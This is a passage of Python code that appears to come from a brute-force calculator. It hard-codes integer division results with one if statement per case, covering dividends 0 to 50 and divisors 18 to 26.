"/" and secondNum == 18 : print("28 / 18 = 1") if firstNum == 29 and sign == "/" and secondNum == 18 : print("29 / 18 = 1") if firstNum == 30 and sign == "/" and secondNum == 18 : print("30 / 18 = 1") if firstNum == 31 and sign == "/" and secondNum == 18 : print("31 / 18 = 1") if firstNum == 32 and sign == "/" and secondNum == 18 : print("32 / 18 = 1") if firstNum == 33 and sign == "/" and secondNum == 18 : print("33 / 18 = 1") if firstNum == 34 and sign == "/" and secondNum == 18 : print("34 / 18 = 1") if firstNum == 35 and sign == "/" and secondNum == 18 : print("35 / 18 = 1") if firstNum == 36 and sign == "/" and secondNum == 18 : print("36 / 18 = 2") if firstNum == 37 and sign == "/" and secondNum == 18 : print("37 / 18 = 2") if firstNum == 38 and sign == "/" and secondNum == 18 : print("38 / 18 = 2") if firstNum == 39 and sign == "/" and secondNum == 18 : print("39 / 18 = 2") if firstNum == 40 and sign == "/" and secondNum == 18 : print("40 / 18 = 2") if firstNum == 41 and sign == "/" and secondNum == 18 : print("41 / 18 = 2") if firstNum == 42 and sign == "/" and secondNum == 18 : print("42 / 18 = 2") if firstNum == 43 and sign == "/" and secondNum == 18 : print("43 / 18 = 2") if firstNum == 44 and sign == "/" and secondNum == 18 : print("44 / 18 = 2") if firstNum == 45 and sign == "/" and secondNum == 18 : print("45 / 18 = 2") if firstNum == 46 and sign == "/" and secondNum == 18 : print("46 / 18 = 2") if firstNum == 47 and sign == "/" and secondNum == 18 : print("47 / 18 = 2") if firstNum == 48 and sign == "/" and secondNum == 18 : print("48 / 18 = 2") if firstNum == 49 and sign == "/" and secondNum == 18 : print("49 / 18 = 2") if firstNum == 50 and sign == "/" and secondNum == 18 : print("50 / 18 = 2") if firstNum == 0 and sign == "/" and secondNum == 19 : print("0 / 19 = 0") if firstNum == 1 and sign == "/" and secondNum == 19 : print("1 / 19 = 0") if firstNum == 2 and sign == "/" and secondNum == 19 : print("2 / 19 = 0") if firstNum == 3 and sign == "/" and secondNum == 19 : print("3 / 19 = 0") if firstNum == 4 and sign == "/" and secondNum == 19 : print("4 / 19 = 0") if firstNum == 5 and sign == "/" and secondNum == 19 : print("5 / 19 = 0") if firstNum == 6 and sign == "/" and secondNum == 19 : print("6 / 19 = 0") if firstNum == 7 and sign == "/" and secondNum == 19 : print("7 / 19 = 0") if firstNum == 8 and sign == "/" and secondNum == 19 : print("8 / 19 = 0") if firstNum == 9 and sign == "/" and secondNum == 19 : print("9 / 19 = 0") if firstNum == 10 and sign == "/" and secondNum == 19 : print("10 / 19 = 0") if firstNum == 11 and sign == "/" and secondNum == 19 : print("11 / 19 = 0") if firstNum == 12 and sign == "/" and secondNum == 19 : print("12 / 19 = 0") if firstNum == 13 and sign == "/" and secondNum == 19 : print("13 / 19 = 0") if firstNum == 14 and sign == "/" and secondNum == 19 : print("14 / 19 = 0") if firstNum == 15 and sign == "/" and secondNum == 19 : print("15 / 19 = 0") if firstNum == 16 and sign == "/" and secondNum == 19 : print("16 / 19 = 0") if firstNum == 17 and sign == "/" and secondNum == 19 : print("17 / 19 = 0") if firstNum == 18 and sign == "/" and secondNum == 19 : print("18 / 19 = 0") if firstNum == 19 and sign == "/" and secondNum == 19 : print("19 / 19 = 1") if firstNum == 20 and sign == "/" and secondNum == 19 : print("20 / 19 = 1") if firstNum == 21 and sign == "/" and secondNum == 19 : print("21 / 19 = 1") if firstNum == 22 and sign == "/" and secondNum == 19 : print("22 / 19 = 1") if firstNum == 23 and sign == "/" and secondNum == 19 : print("23 / 19 = 1") if firstNum == 24 and sign == "/" and secondNum == 19 : print("24 / 19 = 1") if firstNum == 25 and sign == "/" and secondNum == 19 : print("25 / 19 = 1") if firstNum == 26 and sign == "/" and secondNum == 19 : print("26 / 19 = 1") if firstNum == 27 and sign == "/" and secondNum == 19 : print("27 / 19 = 1") if firstNum == 28 and sign == "/" and secondNum == 19 : print("28 / 19 = 1") if firstNum == 29 and sign == "/" and secondNum == 19 : print("29 / 19 = 1") if firstNum == 30 and sign == "/" and secondNum == 19 : print("30 / 19 = 1") if firstNum == 31 and sign == "/" and secondNum == 19 : print("31 / 19 = 1") if firstNum == 32 and sign == "/" and secondNum == 19 : print("32 / 19 = 1") if firstNum == 33 and sign == "/" and secondNum == 19 : print("33 / 19 = 1") if firstNum == 34 and sign == "/" and secondNum == 19 : print("34 / 19 = 1") if firstNum == 35 and sign == "/" and secondNum == 19 : print("35 / 19 = 1") if firstNum == 36 and sign == "/" and secondNum == 19 : print("36 / 19 = 1") if firstNum == 37 and sign == "/" and secondNum == 19 : print("37 / 19 = 1") if firstNum == 38 and sign == "/" and secondNum == 19 : print("38 / 19 = 2") if firstNum == 39 and sign == "/" and secondNum == 19 : print("39 / 19 = 2") if firstNum == 40 and sign == "/" and secondNum == 19 : print("40 / 19 = 2") if firstNum == 41 and sign == "/" and secondNum == 19 : print("41 / 19 = 2") if firstNum == 42 and sign == "/" and secondNum == 19 : print("42 / 19 = 2") if firstNum == 43 and sign == "/" and secondNum == 19 : print("43 / 19 = 2") if firstNum == 44 and sign == "/" and secondNum == 19 : print("44 / 19 = 2") if firstNum == 45 and sign == "/" and secondNum == 19 : print("45 / 19 = 2") if firstNum == 46 and sign == "/" and secondNum == 19 : print("46 / 19 = 2") if firstNum == 47 and sign == "/" and secondNum == 19 : print("47 / 19 = 2") if firstNum == 48 and sign == "/" and secondNum == 19 : print("48 / 19 = 2") if firstNum == 49 and sign == "/" and secondNum == 19 : print("49 / 19 = 2") if firstNum == 50 and sign == "/" and secondNum == 19 : print("50 / 19 = 2") if firstNum == 0 and sign == "/" and secondNum == 20 : print("0 / 20 = 0") if firstNum == 1 and sign == "/" and secondNum == 20 : print("1 / 20 = 0") if firstNum == 2 and sign == "/" and secondNum == 20 : print("2 / 20 = 0") if firstNum == 3 and sign == "/" and secondNum == 20 : print("3 / 20 = 0") if firstNum == 4 and sign == "/" and secondNum == 20 : print("4 / 20 = 0") if firstNum == 5 and sign == "/" and secondNum == 20 : print("5 / 20 = 0") if firstNum == 6 and sign == "/" and secondNum == 20 : print("6 / 20 = 0") if firstNum == 7 and sign == "/" and secondNum == 20 : print("7 / 20 = 0") if firstNum == 8 and sign == "/" and secondNum == 20 : print("8 / 20 = 0") if firstNum == 9 and sign == "/" and secondNum == 20 : print("9 / 20 = 0") if firstNum == 10 and sign == "/" and secondNum == 20 : print("10 / 20 = 0") if firstNum == 11 and sign == "/" and secondNum == 20 : print("11 / 20 = 0") if firstNum == 12 and sign == "/" and secondNum == 20 : print("12 / 20 = 0") if firstNum == 13 and sign == "/" and secondNum == 20 : print("13 / 20 = 0") if firstNum == 14 and sign == "/" and secondNum == 20 : print("14 / 20 = 0") if firstNum == 15 and sign == "/" and secondNum == 20 : print("15 / 20 = 0") if firstNum == 16 and sign == "/" and secondNum == 20 : print("16 / 20 = 0") if firstNum == 17 and sign == "/" and secondNum == 20 : print("17 / 20 = 0") if firstNum == 18 and sign == "/" and secondNum == 20 : print("18 / 20 = 0") if firstNum == 19 and sign == "/" and secondNum == 20 : print("19 / 20 = 0") if firstNum == 20 and sign == "/" and secondNum == 20 : print("20 / 20 = 1") if firstNum == 21 and sign == "/" and secondNum == 20 : print("21 / 20 = 1") if firstNum == 22 and sign == "/" and secondNum == 20 : print("22 / 20 = 1") if firstNum == 23 and sign == "/" and secondNum == 20 : print("23 / 20 = 1") if firstNum == 24 and sign == "/" and secondNum == 20 : print("24 / 20 = 1") if firstNum == 25 and sign == "/" and secondNum == 20 : print("25 / 20 = 1") if firstNum == 26 and sign == "/" and secondNum == 20 : print("26 / 20 = 1") if firstNum == 27 and sign == "/" and secondNum == 20 : print("27 / 20 = 1") if firstNum == 28 and sign == "/" and secondNum == 20 : print("28 / 20 = 1") if firstNum == 29 and sign == "/" and secondNum == 20 : print("29 / 20 = 1") if firstNum == 30 and sign == "/" and secondNum == 20 : print("30 / 20 = 1") if firstNum == 31 and sign == "/" and secondNum == 20 : print("31 / 20 = 1") if firstNum == 32 and sign == "/" and secondNum == 20 : print("32 / 20 = 1") if firstNum == 33 and sign == "/" and secondNum == 20 : print("33 / 20 = 1") if firstNum == 34 and sign == "/" and secondNum == 20 : print("34 / 20 = 1") if firstNum == 35 and sign == "/" and secondNum == 20 : print("35 / 20 = 1") if firstNum == 36 and sign == "/" and secondNum == 20 : print("36 / 20 = 1") if firstNum == 37 and sign == "/" and secondNum == 20 : print("37 / 20 = 1") if firstNum == 38 and sign == "/" and secondNum == 20 : print("38 / 20 = 1") if firstNum == 39 and sign == "/" and secondNum == 20 : print("39 / 20 = 1") if firstNum == 40 and sign == "/" and secondNum == 20 : print("40 / 20 = 2") if firstNum == 41 and sign == "/" and secondNum == 20 : print("41 / 20 = 2") if firstNum == 42 and sign == "/" and secondNum == 20 : print("42 / 20 = 2") if firstNum == 43 and sign == "/" and secondNum == 20 : print("43 / 20 = 2") if firstNum == 44 and sign == "/" and secondNum == 20 : print("44 / 20 = 2") if firstNum == 45 and sign == "/" and secondNum == 20 : print("45 / 20 = 2") if firstNum == 46 and sign == "/" and secondNum == 20 : print("46 / 20 = 2") if firstNum == 47 and sign == "/" and secondNum == 20 : print("47 / 20 = 2") if firstNum == 48 and sign == "/" and secondNum == 20 : print("48 / 20 = 2") if firstNum == 49 and sign == "/" and secondNum == 20 : print("49 / 20 = 2") if firstNum == 50 and sign == "/" and secondNum == 20 : print("50 / 20 = 2") if firstNum == 0 and sign == "/" and secondNum == 21 : print("0 / 21 = 0") if firstNum == 1 and sign == "/" and secondNum == 21 : print("1 / 21 = 0") if firstNum == 2 and sign == "/" and secondNum == 21 : print("2 / 21 = 0") if firstNum == 3 and sign == "/" and secondNum == 21 : print("3 / 21 = 0") if firstNum == 4 and sign == "/" and secondNum == 21 : print("4 / 21 = 0") if firstNum == 5 and sign == "/" and secondNum == 21 : print("5 / 21 = 0") if firstNum == 6 and sign == "/" and secondNum == 21 : print("6 / 21 = 0") if firstNum == 7 and sign == "/" and secondNum == 21 : print("7 / 21 = 0") if firstNum == 8 and sign == "/" and secondNum == 21 : print("8 / 21 = 0") if firstNum == 9 and sign == "/" and secondNum == 21 : print("9 / 21 = 0") if firstNum == 10 and sign == "/" and secondNum == 21 : print("10 / 21 = 0") if firstNum == 11 and sign == "/" and secondNum == 21 : print("11 / 21 = 0") if firstNum == 12 and sign == "/" and secondNum == 21 : print("12 / 21 = 0") if firstNum == 13 and sign == "/" and secondNum == 21 : print("13 / 21 = 0") if firstNum == 14 and sign == "/" and secondNum == 21 : print("14 / 21 = 0") if firstNum == 15 and sign == "/" and secondNum == 21 : print("15 / 21 = 0") if firstNum == 16 and sign == "/" and secondNum == 21 : print("16 / 21 = 0") if firstNum == 17 and sign == "/" and secondNum == 21 : print("17 / 21 = 0") if firstNum == 18 and sign == "/" and secondNum == 21 : print("18 / 21 = 0") if firstNum == 19 and sign == "/" and secondNum == 21 : print("19 / 21 = 0") if firstNum == 20 and sign == "/" and secondNum == 21 : print("20 / 21 = 0") if firstNum == 21 and sign == "/" and secondNum == 21 : print("21 / 21 = 1") if firstNum == 22 and sign == "/" and secondNum == 21 : print("22 / 21 = 1") if firstNum == 23 and sign == "/" and secondNum == 21 : print("23 / 21 = 1") if firstNum == 24 and sign == "/" and secondNum == 21 : print("24 / 21 = 1") if firstNum == 25 and sign == "/" and secondNum == 21 : print("25 / 21 = 1") if firstNum == 26 and sign == "/" and secondNum == 21 : print("26 / 21 = 1") if firstNum == 27 and sign == "/" and secondNum == 21 : print("27 / 21 = 1") if firstNum == 28 and sign == "/" and secondNum == 21 : print("28 / 21 = 1") if firstNum == 29 and sign == "/" and secondNum == 21 : print("29 / 21 = 1") if firstNum == 30 and sign == "/" and secondNum == 21 : print("30 / 21 = 1") if firstNum == 31 and sign == "/" and secondNum == 21 : print("31 / 21 = 1") if firstNum == 32 and sign == "/" and secondNum == 21 : print("32 / 21 = 1") if firstNum == 33 and sign == "/" and secondNum == 21 : print("33 / 21 = 1") if firstNum == 34 and sign == "/" and secondNum == 21 : print("34 / 21 = 1") if firstNum == 35 and sign == "/" and secondNum == 21 : print("35 / 21 = 1") if firstNum == 36 and sign == "/" and secondNum == 21 : print("36 / 21 = 1") if firstNum == 37 and sign == "/" and secondNum == 21 : print("37 / 21 = 1") if firstNum == 38 and sign == "/" and secondNum == 21 : print("38 / 21 = 1") if firstNum == 39 and sign == "/" and secondNum == 21 : print("39 / 21 = 1") if firstNum == 40 and sign == "/" and secondNum == 21 : print("40 / 21 = 1") if firstNum == 41 and sign == "/" and secondNum == 21 : print("41 / 21 = 1") if firstNum == 42 and sign == "/" and secondNum == 21 : print("42 / 21 = 2") if firstNum == 43 and sign == "/" and secondNum == 21 : print("43 / 21 = 2") if firstNum == 44 and sign == "/" and secondNum == 21 : print("44 / 21 = 2") if firstNum == 45 and sign == "/" and secondNum == 21 : print("45 / 21 = 2") if firstNum == 46 and sign == "/" and secondNum == 21 : print("46 / 21 = 2") if firstNum == 47 and sign == "/" and secondNum == 21 : print("47 / 21 = 2") if firstNum == 48 and sign == "/" and secondNum == 21 : print("48 / 21 = 2") if firstNum == 49 and sign == "/" and secondNum == 21 : print("49 / 21 = 2") if firstNum == 50 and sign == "/" and secondNum == 21 : print("50 / 21 = 2") if firstNum == 0 and sign == "/" and secondNum == 22 : print("0 / 22 = 0") if firstNum == 1 and sign == "/" and secondNum == 22 : print("1 / 22 = 0") if firstNum == 2 and sign == "/" and secondNum == 22 : print("2 / 22 = 0") if firstNum == 3 and sign == "/" and secondNum == 22 : print("3 / 22 = 0") if firstNum == 4 and sign == "/" and secondNum == 22 : print("4 / 22 = 0") if firstNum == 5 and sign == "/" and secondNum == 22 : print("5 / 22 = 0") if firstNum == 6 and sign == "/" and secondNum == 22 : print("6 / 22 = 0") if firstNum == 7 and sign == "/" and secondNum == 22 : print("7 / 22 = 0") if firstNum == 8 and sign == "/" and secondNum == 22 : print("8 / 22 = 0") if firstNum == 9 and sign == "/" and secondNum == 22 : print("9 / 22 = 0") if firstNum == 10 and sign == "/" and secondNum == 22 : print("10 / 22 = 0") if firstNum == 11 and sign == "/" and secondNum == 22 : print("11 / 22 = 0") if firstNum == 12 and sign == "/" and secondNum == 22 : print("12 / 22 = 0") if firstNum == 13 and sign == "/" and secondNum == 22 : print("13 / 22 = 0") if firstNum == 14 and sign == "/" and secondNum == 22 : print("14 / 22 = 0") if firstNum == 15 and sign == "/" and secondNum == 22 : print("15 / 22 = 0") if firstNum == 16 and sign == "/" and secondNum == 22 : print("16 / 22 = 0") if firstNum == 17 and sign == "/" and secondNum == 22 : print("17 / 22 = 0") if firstNum == 18 and sign == "/" and secondNum == 22 : print("18 / 22 = 0") if firstNum == 19 and sign == "/" and secondNum == 22 : print("19 / 22 = 0") if firstNum == 20 and sign == "/" and secondNum == 22 : print("20 / 22 = 0") if firstNum == 21 and sign == "/" and secondNum == 22 : print("21 / 22 = 0") if firstNum == 22 and sign == "/" and secondNum == 22 : print("22 / 22 = 1") if firstNum == 23 and sign == "/" and secondNum == 22 : print("23 / 22 = 1") if firstNum == 24 and sign == "/" and secondNum == 22 : print("24 / 22 = 1") if firstNum == 25 and sign == "/" and secondNum == 22 : print("25 / 22 = 1") if firstNum == 26 and sign == "/" and secondNum == 22 : print("26 / 22 = 1") if firstNum == 27 and sign == "/" and secondNum == 22 : print("27 / 22 = 1") if firstNum == 28 and sign == "/" and secondNum == 22 : print("28 / 22 = 1") if firstNum == 29 and sign == "/" and secondNum == 22 : print("29 / 22 = 1") if firstNum == 30 and sign == "/" and secondNum == 22 : print("30 / 22 = 1") if firstNum == 31 and sign == "/" and secondNum == 22 : print("31 / 22 = 1") if firstNum == 32 and sign == "/" and secondNum == 22 : print("32 / 22 = 1") if firstNum == 33 and sign == "/" and secondNum == 22 : print("33 / 22 = 1") if firstNum == 34 and sign == "/" and secondNum == 22 : print("34 / 22 = 1") if firstNum == 35 and sign == "/" and secondNum == 22 : print("35 / 22 = 1") if firstNum == 36 and sign == "/" and secondNum == 22 : print("36 / 22 = 1") if firstNum == 37 and sign == "/" and secondNum == 22 : print("37 / 22 = 1") if firstNum == 38 and sign == "/" and secondNum == 22 : print("38 / 22 = 1") if firstNum == 39 and sign == "/" and secondNum == 22 : print("39 / 22 = 1") if firstNum == 40 and sign == "/" and secondNum == 22 : print("40 / 22 = 1") if firstNum == 41 and sign == "/" and secondNum == 22 : print("41 / 22 = 1") if firstNum == 42 and sign == "/" and secondNum == 22 : print("42 / 22 = 1") if firstNum == 43 and sign == "/" and secondNum == 22 : print("43 / 22 = 1") if firstNum == 44 and sign == "/" and secondNum == 22 : print("44 / 22 = 2") if firstNum == 45 and sign == "/" and secondNum == 22 : print("45 / 22 = 2") if firstNum == 46 and sign == "/" and secondNum == 22 : print("46 / 22 = 2") if firstNum == 47 and sign == "/" and secondNum == 22 : print("47 / 22 = 2") if firstNum == 48 and sign == "/" and secondNum == 22 : print("48 / 22 = 2") if firstNum == 49 and sign == "/" and secondNum == 22 : print("49 / 22 = 2") if firstNum == 50 and sign == "/" and secondNum == 22 : print("50 / 22 = 2") if firstNum == 0 and sign == "/" and secondNum == 23 : print("0 / 23 = 0") if firstNum == 1 and sign == "/" and secondNum == 23 : print("1 / 23 = 0") if firstNum == 2 and sign == "/" and secondNum == 23 : print("2 / 23 = 0") if firstNum == 3 and sign == "/" and secondNum == 23 : print("3 / 23 = 0") if firstNum == 4 and sign == "/" and secondNum == 23 : print("4 / 23 = 0") if firstNum == 5 and sign == "/" and secondNum == 23 : print("5 / 23 = 0") if firstNum == 6 and sign == "/" and secondNum == 23 : print("6 / 23 = 0") if firstNum == 7 and sign == "/" and secondNum == 23 : print("7 / 23 = 0") if firstNum == 8 and sign == "/" and secondNum == 23 : print("8 / 23 = 0") if firstNum == 9 and sign == "/" and secondNum == 23 : print("9 / 23 = 0") if firstNum == 10 and sign == "/" and secondNum == 23 : print("10 / 23 = 0") if firstNum == 11 and sign == "/" and secondNum == 23 : print("11 / 23 = 0") if firstNum == 12 and sign == "/" and secondNum == 23 : print("12 / 23 = 0") if firstNum == 13 and sign == "/" and secondNum == 23 : print("13 / 23 = 0") if firstNum == 14 and sign == "/" and secondNum == 23 : print("14 / 23 = 0") if firstNum == 15 and sign == "/" and secondNum == 23 : print("15 / 23 = 0") if firstNum == 16 and sign == "/" and secondNum == 23 : print("16 / 23 = 0") if firstNum == 17 and sign == "/" and secondNum == 23 : print("17 / 23 = 0") if firstNum == 18 and sign == "/" and secondNum == 23 : print("18 / 23 = 0") if firstNum == 19 and sign == "/" and secondNum == 23 : print("19 / 23 = 0") if firstNum == 20 and sign == "/" and secondNum == 23 : print("20 / 23 = 0") if firstNum == 21 and sign == "/" and secondNum == 23 : print("21 / 23 = 0") if firstNum == 22 and sign == "/" and secondNum == 23 : print("22 / 23 = 0") if firstNum == 23 and sign == "/" and secondNum == 23 : print("23 / 23 = 1") if firstNum == 24 and sign == "/" and secondNum == 23 : print("24 / 23 = 1") if firstNum == 25 and sign == "/" and secondNum == 23 : print("25 / 23 = 1") if firstNum == 26 and sign == "/" and secondNum == 23 : print("26 / 23 = 1") if firstNum == 27 and sign == "/" and secondNum == 23 : print("27 / 23 = 1") if firstNum == 28 and sign == "/" and secondNum == 23 : print("28 / 23 = 1") if firstNum == 29 and sign == "/" and secondNum == 23 : print("29 / 23 = 1") if firstNum == 30 and sign == "/" and secondNum == 23 : print("30 / 23 = 1") if firstNum == 31 and sign == "/" and secondNum == 23 : print("31 / 23 = 1") if firstNum == 32 and sign == "/" and secondNum == 23 : print("32 / 23 = 1") if firstNum == 33 and sign == "/" and secondNum == 23 : print("33 / 23 = 1") if firstNum == 34 and sign == "/" and secondNum == 23 : print("34 / 23 = 1") if firstNum == 35 and sign == "/" and secondNum == 23 : print("35 / 23 = 1") if firstNum == 36 and sign == "/" and secondNum == 23 : print("36 / 23 = 1") if firstNum == 37 and sign == "/" and secondNum == 23 : print("37 / 23 = 1") if firstNum == 38 and sign == "/" and secondNum == 23 : print("38 / 23 = 1") if firstNum == 39 and sign == "/" and secondNum == 23 : print("39 / 23 = 1") if firstNum == 40 and sign == "/" and secondNum == 23 : print("40 / 23 = 1") if firstNum == 41 and sign == "/" and secondNum == 23 : print("41 / 23 = 1") if firstNum == 42 and sign == "/" and secondNum == 23 : print("42 / 23 = 1") if firstNum == 43 and sign == "/" and secondNum == 23 : print("43 / 23 = 1") if firstNum == 44 and sign == "/" and secondNum == 23 : print("44 / 23 = 1") if firstNum == 45 and sign == "/" and secondNum == 23 : print("45 / 23 = 1") if firstNum == 46 and sign == "/" and secondNum == 23 : print("46 / 23 = 2") if firstNum == 47 and sign == "/" and secondNum == 23 : print("47 / 23 = 2") if firstNum == 48 and sign == "/" and secondNum == 23 : print("48 / 23 = 2") if firstNum == 49 and sign == "/" and secondNum == 23 : print("49 / 23 = 2") if firstNum == 50 and sign == "/" and secondNum == 23 : print("50 / 23 = 2") if firstNum == 0 and sign == "/" and secondNum == 24 : print("0 / 24 = 0") if firstNum == 1 and sign == "/" and secondNum == 24 : print("1 / 24 = 0") if firstNum == 2 and sign == "/" and secondNum == 24 : print("2 / 24 = 0") if firstNum == 3 and sign == "/" and secondNum == 24 : print("3 / 24 = 0") if firstNum == 4 and sign == "/" and secondNum == 24 : print("4 / 24 = 0") if firstNum == 5 and sign == "/" and secondNum == 24 : print("5 / 24 = 0") if firstNum == 6 and sign == "/" and secondNum == 24 : print("6 / 24 = 0") if firstNum == 7 and sign == "/" and secondNum == 24 : print("7 / 24 = 0") if firstNum == 8 and sign == "/" and secondNum == 24 : print("8 / 24 = 0") if firstNum == 9 and sign == "/" and secondNum == 24 : print("9 / 24 = 0") if firstNum == 10 and sign == "/" and secondNum == 24 : print("10 / 24 = 0") if firstNum == 11 and sign == "/" and secondNum == 24 : print("11 / 24 = 0") if firstNum == 12 and sign == "/" and secondNum == 24 : print("12 / 24 = 0") if firstNum == 13 and sign == "/" and secondNum == 24 : print("13 / 24 = 0") if firstNum == 14 and sign == "/" and secondNum == 24 : print("14 / 24 = 0") if firstNum == 15 and sign == "/" and secondNum == 24 : print("15 / 24 = 0") if firstNum == 16 and sign == "/" and secondNum == 24 : print("16 / 24 = 0") if firstNum == 17 and sign == "/" and secondNum == 24 : print("17 / 24 = 0") if firstNum == 18 and sign == "/" and secondNum == 24 : print("18 / 24 = 0") if firstNum == 19 and sign == "/" and secondNum == 24 : print("19 / 24 = 0") if firstNum == 20 and sign == "/" and secondNum == 24 : print("20 / 24 = 0") if firstNum == 21 and sign == "/" and secondNum == 24 : print("21 / 24 = 0") if firstNum == 22 and sign == "/" and secondNum == 24 : print("22 / 24 = 0") if firstNum == 23 and sign == "/" and secondNum == 24 : print("23 / 24 = 0") if firstNum == 24 and sign == "/" and secondNum == 24 : print("24 / 24 = 1") if firstNum == 25 and sign == "/" and secondNum == 24 : print("25 / 24 = 1") if firstNum == 26 and sign == "/" and secondNum == 24 : print("26 / 24 = 1") if firstNum == 27 and sign == "/" and secondNum == 24 : print("27 / 24 = 1") if firstNum == 28 and sign == "/" and secondNum == 24 : print("28 / 24 = 1") if firstNum == 29 and sign == "/" and secondNum == 24 : print("29 / 24 = 1") if firstNum == 30 and sign == "/" and secondNum == 24 : print("30 / 24 = 1") if firstNum == 31 and sign == "/" and secondNum == 24 : print("31 / 24 = 1") if firstNum == 32 and sign == "/" and secondNum == 24 : print("32 / 24 = 1") if firstNum == 33 and sign == "/" and secondNum == 24 : print("33 / 24 = 1") if firstNum == 34 and sign == "/" and secondNum == 24 : print("34 / 24 = 1") if firstNum == 35 and sign == "/" and secondNum == 24 : print("35 / 24 = 1") if firstNum == 36 and sign == "/" and secondNum == 24 : print("36 / 24 = 1") if firstNum == 37 and sign == "/" and secondNum == 24 : print("37 / 24 = 1") if firstNum == 38 and sign == "/" and secondNum == 24 : print("38 / 24 = 1") if firstNum == 39 and sign == "/" and secondNum == 24 : print("39 / 24 = 1") if firstNum == 40 and sign == "/" and secondNum == 24 : print("40 / 24 = 1") if firstNum == 41 and sign == "/" and secondNum == 24 : print("41 / 24 = 1") if firstNum == 42 and sign == "/" and secondNum == 24 : print("42 / 24 = 1") if firstNum == 43 and sign == "/" and secondNum == 24 : print("43 / 24 = 1") if firstNum == 44 and sign == "/" and secondNum == 24 : print("44 / 24 = 1") if firstNum == 45 and sign == "/" and secondNum == 24 : print("45 / 24 = 1") if firstNum == 46 and sign == "/" and secondNum == 24 : print("46 / 24 = 1") if firstNum == 47 and sign == "/" and secondNum == 24 : print("47 / 24 = 1") if firstNum == 48 and sign == "/" and secondNum == 24 : print("48 / 24 = 2") if firstNum == 49 and sign == "/" and secondNum == 24 : print("49 / 24 = 2") if firstNum == 50 and sign == "/" and secondNum == 24 : print("50 / 24 = 2") if firstNum == 0 and sign == "/" and secondNum == 25 : print("0 / 25 = 0") if firstNum == 1 and sign == "/" and secondNum == 25 : print("1 / 25 = 0") if firstNum == 2 and sign == "/" and secondNum == 25 : print("2 / 25 = 0") if firstNum == 3 and sign == "/" and secondNum == 25 : print("3 / 25 = 0") if firstNum == 4 and sign == "/" and secondNum == 25 : print("4 / 25 = 0") if firstNum == 5 and sign == "/" and secondNum == 25 : print("5 / 25 = 0") if firstNum == 6 and sign == "/" and secondNum == 25 : print("6 / 25 = 0") if firstNum == 7 and sign == "/" and secondNum == 25 : print("7 / 25 = 0") if firstNum == 8 and sign == "/" and secondNum == 25 : print("8 / 25 = 0") if firstNum == 9 and sign == "/" and secondNum == 25 : print("9 / 25 = 0") if firstNum == 10 and sign == "/" and secondNum == 25 : print("10 / 25 = 0") if firstNum == 11 and sign == "/" and secondNum == 25 : print("11 / 25 = 0") if firstNum == 12 and sign == "/" and secondNum == 25 : print("12 / 25 = 0") if firstNum == 13 and sign == "/" and secondNum == 25 : print("13 / 25 = 0") if firstNum == 14 and sign == "/" and secondNum == 25 : print("14 / 25 = 0") if firstNum == 15 and sign == "/" and secondNum == 25 : print("15 / 25 = 0") if firstNum == 16 and sign == "/" and secondNum == 25 : print("16 / 25 = 0") if firstNum == 17 and sign == "/" and secondNum == 25 : print("17 / 25 = 0") if firstNum == 18 and sign == "/" and secondNum == 25 : print("18 / 25 = 0") if firstNum == 19 and sign == "/" and secondNum == 25 : print("19 / 25 = 0") if firstNum == 20 and sign == "/" and secondNum == 25 : print("20 / 25 = 0") if firstNum == 21 and sign == "/" and secondNum == 25 : print("21 / 25 = 0") if firstNum == 22 and sign == "/" and secondNum == 25 : print("22 / 25 = 0") if firstNum == 23 and sign == "/" and secondNum == 25 : print("23 / 25 = 0") if firstNum == 24 and sign == "/" and secondNum == 25 : print("24 / 25 = 0") if firstNum == 25 and sign == "/" and secondNum == 25 : print("25 / 25 = 1") if firstNum == 26 and sign == "/" and secondNum == 25 : print("26 / 25 = 1") if firstNum == 27 and sign == "/" and secondNum == 25 : print("27 / 25 = 1") if firstNum == 28 and sign == "/" and secondNum == 25 : print("28 / 25 = 1") if firstNum == 29 and sign == "/" and secondNum == 25 : print("29 / 25 = 1") if firstNum == 30 and sign == "/" and secondNum == 25 : print("30 / 25 = 1") if firstNum == 31 and sign == "/" and secondNum == 25 : print("31 / 25 = 1") if firstNum == 32 and sign == "/" and secondNum == 25 : print("32 / 25 = 1") if firstNum == 33 and sign == "/" and secondNum == 25 : print("33 / 25 = 1") if firstNum == 34 and sign == "/" and secondNum == 25 : print("34 / 25 = 1") if firstNum == 35 and sign == "/" and secondNum == 25 : print("35 / 25 = 1") if firstNum == 36 and sign == "/" and secondNum == 25 : print("36 / 25 = 1") if firstNum == 37 and sign == "/" and secondNum == 25 : print("37 / 25 = 1") if firstNum == 38 and sign == "/" and secondNum == 25 : print("38 / 25 = 1") if firstNum == 39 and sign == "/" and secondNum == 25 : print("39 / 25 = 1") if firstNum == 40 and sign == "/" and secondNum == 25 : print("40 / 25 = 1") if firstNum == 41 and sign == "/" and secondNum == 25 : print("41 / 25 = 1") if firstNum == 42 and sign == "/" and secondNum == 25 : print("42 / 25 = 1") if firstNum == 43 and sign == "/" and secondNum == 25 : print("43 / 25 = 1") if firstNum == 44 and sign == "/" and secondNum == 25 : print("44 / 25 = 1") if firstNum == 45 and sign == "/" and secondNum == 25 : print("45 / 25 = 1") if firstNum == 46 and sign == "/" and secondNum == 25 : print("46 / 25 = 1") if firstNum == 47 and sign == "/" and secondNum == 25 : print("47 / 25 = 1") if firstNum == 48 and sign == "/" and secondNum == 25 : print("48 / 25 = 1") if firstNum == 49 and sign == "/" and secondNum == 25 : print("49 / 25 = 1") if firstNum == 50 and sign == "/" and secondNum == 25 : print("50 / 25 = 2") if firstNum == 0 and sign == "/" and secondNum == 26 : print("0 / 26 = 0") if firstNum == 1 and sign == "/" and secondNum == 26 : print("1 / 26 = 0") if firstNum == 2 and sign == "/" and secondNum == 26 : print("2 / 26 = 0") if firstNum == 3 and sign == "/" and secondNum == 26 : print("3 / 26 = 0") if firstNum == 4 and sign == "/" and secondNum == 26 : print("4 / 26 = 0") if firstNum == 5 and sign == "/" and secondNum == 26 : print("5 / 26 = 0") if firstNum == 6 and sign == "/" and secondNum == 26 : print("6 / 26 = 0") if firstNum == 7 and sign == "/" and secondNum == 26 : print("7 / 26 = 0") if firstNum == 8 and sign == "/" and secondNum == 26 : print("8 / 26 = 0") if firstNum == 9 and sign == "/" and secondNum == 26 : print("9 / 26 = 0") if firstNum == 10 and sign == "/" and secondNum == 26 : print("10 / 26 = 0") if firstNum == 11 and sign == "/" and secondNum == 26 : print("11 / 26 = 0") if firstNum == 12 and sign == "/" and secondNum == 26 : print("12 / 26 = 0") if firstNum == 13 and sign == "/" and secondNum == 26 : print("13 / 26 = 0") if firstNum == 14 and sign == "/" and secondNum == 26 : print("14 / 26 = 0") if 